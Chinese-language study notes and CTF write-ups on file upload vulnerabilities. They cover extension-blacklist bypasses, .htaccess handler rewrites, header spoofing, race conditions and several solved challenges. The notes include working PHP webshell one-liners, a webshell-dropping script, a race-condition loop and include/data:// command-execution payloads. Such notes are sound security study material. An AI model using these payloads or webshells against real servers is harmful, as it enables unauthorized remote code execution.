文件上传
文件上传
文件上传漏洞:
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力
原理:
一些 文件上传功能没有严格限制用户上传的文件的后缀和文件类型,导致可以在某个目录上传任意PHP文件
如果存在文件上传漏洞,可以将病毒,木马,shell,其他恶意脚本或者是包含了脚本的图片上传到服务器,进行攻击
绕过
emmm,具体看uploadlabs吧..
前端检测
主要是通过javascript代码
进行检测, 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包
绕过
- burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名
- 通过firbug插件元素审核修改代码(如删除onsubm:t=”return checkFile()”事件)
- 禁用js
- firbug元素审核javascirpt脚本中添加上传文件类型
黑名单绕过
burp抓包 修改后缀
利用.和空格
绕过:win系统下文件名以.和空格
结尾的 系统会自动将其删除
如: test.asp.
test.asp空格
test.php:1.jpg
test.php::$DATA
单双重后缀绕过
test.pphphp
文件包含绕过
运行上传文件包含脚本木马和一句话内容马将文件后缀修改为png,jpg,asp
修改url参数绕过
如:将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过
双重文件上传绕过
白名单绕过
%00截断上传绕过
文件路径绕过
将上传的文件放到指定的路径中即可绕过:如果指定目录存在就将文件写入该目录,如果不存在就先建立在写入
.htaccess文件重写绕过
.htaccess文件作用
.htaccess文件可以 实现301重定向,404,我呢见扩展名,允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
例题;[MRCTF2020]你传你呢
<FilesMatch "test.png">//与上传的文件名相同
SetHandler application/x-httpd-php
</FilesMatch>
配合黑名单绕过,上传一个自定义的.htaccess和一句话图片木马
<FilesMatch "backlion.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
文件头绕过
如:gif奥
GIF89a
<?php phpinfo(); ?>
条件竞争
条件竞争上传:就是先检测上传问价是否存在,如果上传的文件存在就先保存在删除,然后输出上传失败
漏洞利用:
<?PHP
fputs(fopen('test.php','w'),'<?php @eval($_POST[test])?>');
?>
当我们访问这个文件的时候 会在同一目录下生成test.php,其内容为一句话木马
用python脚本来实现,无限循环上传该文件(访问该地址)
import requests
while 1:
requests.get("上传文件地址")
print(test)
运行脚本之后 burp爆破
将拦截的数据发给intruder,清除标记,选择null payload,设置爆破参数
对渲染/加载测试攻击内容检查绕过
往图片里加代码,图片马
以上在upload-labs都见过
WAF文件上传绕过
waf问价检查位置:文件名,文件内容,文件目录权限,请求的url,Boundary边界,MIME文件类型
闭包:定义在一个函数内部的函数。就是通过f2函数能从函数外部获取到函数内部的局部变量(正常情况下是不可能的实现的)
MIME:告诉浏览器等 文件类型的
绕过参考连接很详细
[极客大挑战 2019]Upload
写一句话木马修改后缀为jpg上传
抓个包
修改类型为image/jpg
尝试将php修改为php5
使用phtml
尝试绕过<?
<script language="php">
@eval($_POST['up']);
使用文件头绕过 修改数据包
上传成功,访问我们上传的文件
猜测是在upload目录下
找到文件蚁剑连接
根目录下找到flag
[ACTF2020 新生赛]Upload
上传php文件 发现只能上传图片
好像抓不到包
上传一张图片 上传成功
图片能抓到 访问路径 发现是上传的图片
上传phtml 内容是一句话木马 蚁剑连接 根目录下得到flag
[MRCTF2020]你传你呢
上传图片 修改内容为
然后看wp发现是.htaccess文件上传
test.png是我们要上传的测试文件,这里和接下来要上传的文件名要保持一致
修改文件类型 上传成功
上传一句话 木马
上传成功 蚁剑 根目录 Flag
[GXYCTF2019]BabyUpload
上传php文件
php.绕过 文件类型jpeg
php的标志 <?
????
绕过<?试一下
蚁剑无法连接 有函数被禁了
访问upload 403
说是上传.htaccess
绕过<?
GIF89a <script language="php">
@eval($_POST['test']);
访问路径
蚁剑
[WUSTCTF2020]CV Maker
注册登录 文件上传
读取图像的第一个字节 基本就是查看文件的文件头
也不知道是不是上传成功了 貌似没回显
查看源码 发现图片上传路径
[RoarCTF 2019]Simple Upload
源码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
strtolower函数:将字符串转换成小写
strstr函数:
判断 strtolower($uploadFile['name']
中是否包含 .php
存在返回字符串剩余部分,不存在返回false
绕过strsttr
函数
1.文件包含:php://input伪协议绕过
php://input,只读数据流,一般读取post
将a=php://input
用GET方式传上去 再用POST方式提交 也就是..这样
2.GET方式提交命令
http://bf9a9ec4-7a80-4a96-9aad-96440ccbcb47.node5.buuoj.cn:81/?file=http://127.0.0.1/index.php/?hello=<?system{'ls');?>
file的值为 http://127.0.0.1/index.php/?hello=<?system{'ls');?>
,
如果前面代码有 include($file)
可以尝试
将http://127.0.0.1/index.php
文件的代码包含进include,后面的system函数执行命令
3.data://伪协议
格式
data:text/plain,代码
或者base64编码
data:text/plain;base64,(base64编码后的数据)
如果base64编码之后的数据又加号,将其url编码为%2b,否则不识别
4.data://伪协议+一句话木马
然后 蚁剑连接
回到本题 条件竞争
在thinkphp中 $upload->allowExts
用法错误,正确用法是 $uplaod['exts']
来检测,$uplaod->exts
所以这个白名单限制是无效的
upload函数不传参时为多文件上传,整个$_FILES数组文件都会上传保存,所以本题为多文件上传
thhinkphp支持多文件上传 默认上传路径为index.php/home/index/upload
需要自己构建一个文件上传
上传txt测试能否上传成功
上传php文件
上传成功,没有文件名回显
所以只要我们上传图片,php,图片
就能确定中间没回显的php的文件名
他们后面几位不一样 去爆破后几位 就得到文件名了